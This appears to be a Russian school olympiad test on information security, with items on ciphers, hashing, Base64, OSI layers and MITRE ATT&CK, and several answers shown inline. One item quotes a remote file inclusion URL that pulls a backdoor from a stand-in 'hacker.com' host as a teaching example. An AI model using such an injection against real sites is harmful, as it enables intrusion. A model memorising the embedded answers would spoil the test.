
Труд (Технология) 10-11 класс. Профиль
"Информационная безопасность"
8:00—22:00 12 окт 2024 г.

Общая часть

Общие вопросы по профилю "Труд/Технология"

№ 1

№ 2

1 балл

Укажите, какой из терминов означает метод ускорения процесса решения творческих задач с применением

аналогий

морфологический анализ

фокальный метод

синектика

метод контрольных вопросов

1 балл

Расположите технологии в порядке их появления:

мартеновские печи

токарно-винторезные станки

аддитивные технологии

станки с числовым программным управлением

Расставьте в верной последовательности



№ 3

1 балл

Распределите профессии по предмету труда:

человек-природа

человек-техника

человек-человек

человек-знаковая система

человек-художественный образ

дизайнер

филолог

химик

бортинженер

промоутер



№ 4

1 балл

Какой размер на представленном чертеже является лишним?

10

20

Ø20

25

30

R30

40

100

120



№ 5

СПЕЦИАЛЬНАЯ ЧАСТЬ

Вопросы по специальной части

№ 1

1 балл

Установите правильный порядок этапов профессионального становления

Выбор профессии

Профессиональная обученность

Профессиональная компетентность

Профессиональное мастерство и творчество

Расставьте в верной последовательности

0.5 баллов

Какой из паролей, приведенных ниже, является самым защищенным от атак (сильным паролем)?

fearfishwhospearphish

pe@rPh!$herst0p

Pretty8

bluewhales&epicfails



№ 2

№ 3

0.5 баллов

Укажите, какая из последовательностей может являться закодированной строкой в формате Base64

(StandardRFC 4648)?

Алфавит кодирования Base64 (StandardRFC 4648) содержит латинские символы, цифры и символы

суффикса (+, -, =)

BOtjg@W-O;H$K

aGVoZWJveXl5eQ==

NBSWQZLCN54&S6LZ==

YnVnъZ3ViYWc=

ZHppc3F^6YWFnYW1pc3Nzc3Nzc3Nzc2Fx

dW5!kXJzdG9vZA

0.5 баллов

Что такое односторонняя функция в криптографии?

Математическая функция, с помощью которой легко находить выходное
значение по входному аргументу и легко находить входной аргумент по
выходному значению

Математическая функция, с помощью которой трудно находить выходное
значение по входному аргументу и трудно находить входной аргумент по
выходному значению

Математическая функция, с помощью которой легко находить выходное
значение по входному аргументу, но сложно находить входной аргумент по
выходному значению

Математическая функция, с помощью которой сложно находить выходное
значение по входному аргументу, но легко находить входной аргумент по
выходному значению



№ 4

0.5 баллов

Укажите, верно ли следующее утверждение?

«Если вы заблокируете отслеживающие файлы HTTP-cookie в своем браузере (не блокируя никакие другие

технологии), веб-сайты не смогут отслеживать ваше местоположение»

верно

не верно



№ 5

0.5 баллов

Установите соответствие между уровнем модели OSI и их исполняемыми функциями, технологиями и

устройствами:

Физический

Канальный

Сетевой

Транспортный

Сеансовый

Представления

Прикладной

Шифрование, конвертация данных в
различные форматы, AFP, ICA, NCP, ASCII,

gzip

Передача пакетов, определение
маршрута, маршрутизатор, IPv4, IPv6

Передача сегментов, датаграмм, порты,
TCP, UDP

Передача битов и фреймов, коммутатор,
сетевой мост, 802.2, Ethernet, MAC, LCC

Удаленный доступ к БД, запросы к
уровню представления, взаимодействие

приложений с сетью, предоставление
информации об ошибках, HTTP, FTP, RDP,

WebSocket

Передача сигналов и битов, витая пара,
концентратор, повторитель, RJ, USB

Синхронизация продолжительного
обмена данными между узлами и

процессами, RCP, PAP



№ 6

№ 7

0.5 баллов

Укажите, на каком из уровней модели OSI не может быть проведена DDoS-атака?

Прикладном

Представления

Сеансовом

Транспортном

Сетевом

Канальном

Физическом

DDoS-атаки возможны на каждом из семи уровней

0.5 баллов

0xA * 0xF = ?

0xAF

0x96

0x228

0xDEAD



№ 8

№ 9

0.5 баллов

Несанкционированный доступ (НСД) — доступ к данным сотрудника без предоставленных на то

полномочий со стороны руководства или злоумышленника. Также в некоторых случаях НСД называют

получение доступа к данным человеком, который имеет право доступа к этим данным в определенном

объеме, но превысил его.

Что из нижеперечисленного не может являться причиной получения НСД к данным?

Ошибки в настройках прав доступа к базам данных

Прослушивание каналов связи незащищенных соединений

Ошибки в программном обеспечении

Использование нелицензированного программного обеспечения

Зараженные персональные компьютеры сотрудников

Все перечисленное может послужить причиной получения НСД к данным

0.5 баллов

http://example.com/page.php?file=http://hacker.com/backdoor - какая уязвимость?

SQLi (SQL Injection)

XSS (Cross-Site Scripting)

LFI (Local File Inclusion)

RFI (Remote File Inclusion)

http://example.com/page.php?file=http://hacker.com/backdoor


№ 10

№ 11

0.5 баллов

Какие методы обнаружения различных типов вредоносного программного обеспечения использует

антивирус? Укажите все верные варианты

Анализ сигнатур

Резистентный анализ

Эвристический анализ

Серологический анализ

1.5 баллов

Магическим квадратом порядка n называется квадратная таблица размером n × n кле- ток, заполненная

различными натуральными числами от 1 до n², которые размещены таким образом, что суммы чисел любого

столбца, строки и главных диагоналей имеют одно и то же значение. Заполнение конкретного магического

квадрата заданного размера можно использовать в качестве ключа шифра перестановки. Открытый текст

разделяется на блоки, длина каждого из которых равна n² - в самом простом случае без учета пробелов и

знаков препинания. Последний блок, если его размер меньше, дополняется случайными буквами до

нужного размера. После этого буквы каждого блока располагаются в таблице в соответствии со своим

порядковым номером. Полученное заполнение таблицы записывается построчно сверху вниз (в обычном

порядке чтения) в одну строку, которая и является шифртекстом.

Зашифруйте описанным способом с приведенным ниже заполнением квадрата следующий текст: “великий

волшебник”

клебклшвоийеиинв



№ 12

1.5 баллов

Перед вами сообщение, зашифрованное шифром Виженера. При шифровании была использована

кириллица (33 буквы). Шифрование производилось при помощи одного из ключей. Возможные ключи:

1. Защита

2. Взлом

3. Конфиденциальность

4. Информация

5. Безопасность

Пользуясь таблицей, определив ключ шифрования, расшифруйте сообщение

Зашифрованное сообщение: йть ббадц цд киаэтхшт с пдояв щф пжьги

без труда не выловишь и рыбку из пруда



№ 13

2 балла

Хеш-функция — функция, осуществляющая преобразование массива входных данных произвольной длины

в выходную битовую строку установленной длины, выполняемое определённым алгоритмом.

Преобразование, производимое хеш-функцией, называется хешированием. Результат преобразования

называется «хешем».

Установите соответствие между алгоритмом хеширования и хешем

sha1 (160
бит)

md5 (128
бит)

apr1

bcrypt

argon2

sha256
(256 бит)

sha512crypt

sha256crypt

5e4291f2df5aaf84f8f41fb6a7c1a720

rounds=5000 0d6RupbpABtxCaH8WW
OemYwEcToDVZXX/tHpIy6O1U3

5 3a1afb28e54a0391

bb76e8191a6c0facf9b415271865f3347fa83714300726f06a2b4e3060cf59d9

RD1koh.8$bFcmzeFEOxBVzqAw7OWWj/apr1

3b6f29591f2e39dca8895ec9a6128b00cb7a123c

12$ymTozM2AiJ6kPFXtXZ1FRu0alJZ1hcj1oPdUo12icSbdHJcTVZBu 22b

rounds=10000 euYQUd51yO4JtFaKRTKPbGnbP
1JiwHIAu3X54XynCetPO6x/9xu0au/k9nRiq5G35Q926SlpiZZOHQlFk6pBi 1
6 BRMD3SHf/tV 2sJfp

v=19 NaYUglBKiVGqVSrFuNd6bw$
q+u9+6IUz3y6GPPZER25EKCTSZgPjq9U/ZdyaFxyj9w

argon2id m = 65536, t = 3, p = 4



№ 14

2.45 балла

Дано закодированное сообщение в шестнадцатеричной системе счисления. Пользуясь таблицей,

раскодируйте сообщение и запишите полученное слово в качестве ответа

Закодированное сообщение: 7069656365206f662063616b65

piece of cake



№ 15

2.55 балла

MITRE ATT&CK ® - это глобально доступная база знаний о тактике и техниках противника, основанная на

реальных наблюдениях. База знаний ATT&CK используется в качестве основы для разработки конкретных

моделей угроз и методологий в частном секторе, в правительстве и в сообществе продуктов и услуг в

области кибербезопасности. Матрица MITRE ATT&CK представляет собой набор тактик (столбцы) и набор

техник (содержимое столбцов).

Ваша задача – соотнести представленные ниже техники (справа) с соответствующими тактиками (слева),

используя ваши знания и понимание определений в области кибербезопасности и IT. Одна тактика может

содержать несколько техник. Техника может принадлежать нескольким тактикам. Часть тактик может не

иметь техник в представленном списке. Все тактики и техники существуют и не являются выдуманными.

1. Reconnaissance (Разведка)

2. Resource Development (Подготовка
ресурсов)

3. Initial Access (Первоначальный
доступ)

4. Execution (Выполнение)

5. Persistence (Закрепление)

6. Privilege Escalation (Эскалация
привилегий)

7. Defense Evasion (Предотвращение
обнаружения)

8. Credential Access (Получение
учетных данных)

9. Discovery (Исследование)

а. Data Manipulation (Манипуляция с
данными)

б. Encrypted Channel (Зашифрованный
канал)

в. Exploitation of Remote Services
(Эксплуатация удаленных служб)

г. Data from Removable Media (Данные со
съемных носителей)

д. Network Sniffing (Прослушивание
сетевого трафика)

е. Establish Accounts (Создание учетных
записей)

ж. Exfiltration Over Web Service
(Эксфильтрация через веб-службу)

з. Exploitation for Client Execution
(Уязвимости в клиентском ПО)

и. Multi-Factor Authentication Interception
(Перехват многофакторной

аутентификации)



Кейс

10. Lateral Movement Collection
(Перемещение внутри периметра)

11. Collection (Сбор данных)

12. Command and Control (Управление
и контроль)

13. Exfiltration (Эксфильтрация данных)

14. Impact (Воздействие)

к. Phishing for Information (Фишинг с
целью сбора сведений)

л. Obfuscated Files or Information
(Обфусцированые файлы или данные)

м. Abuse Elevation Control Mechanism
(Обход механизмов контроля

привилегий)

н. Adversary-in-the-Middle («Человек
посередине»)

о. Brute Force (Метод перебора)



№ 1

5 баллов

Искусственный интеллект (ИИ) достиг новых высот – теперь с ним можно вступать в диалог и даже

показывает жесты и рисунки! Но вот незадача, один из наших ИИ был взломан злым хакером. Он все еще

все понимает, показывает жесты и рисунки, но отвечает как-то странно… Мы пообщались с ним, но не до

конца понимаем, что он нам отвечает. Вот, остался только диалог с ним.

Узнайте, что случилось и узнайте имя хакера, кто осуществил взлом системы! Возможно, вам пригодится

таблица, которую он нам прислал в конце диалога. В ответе укажите имя хакера





Bob


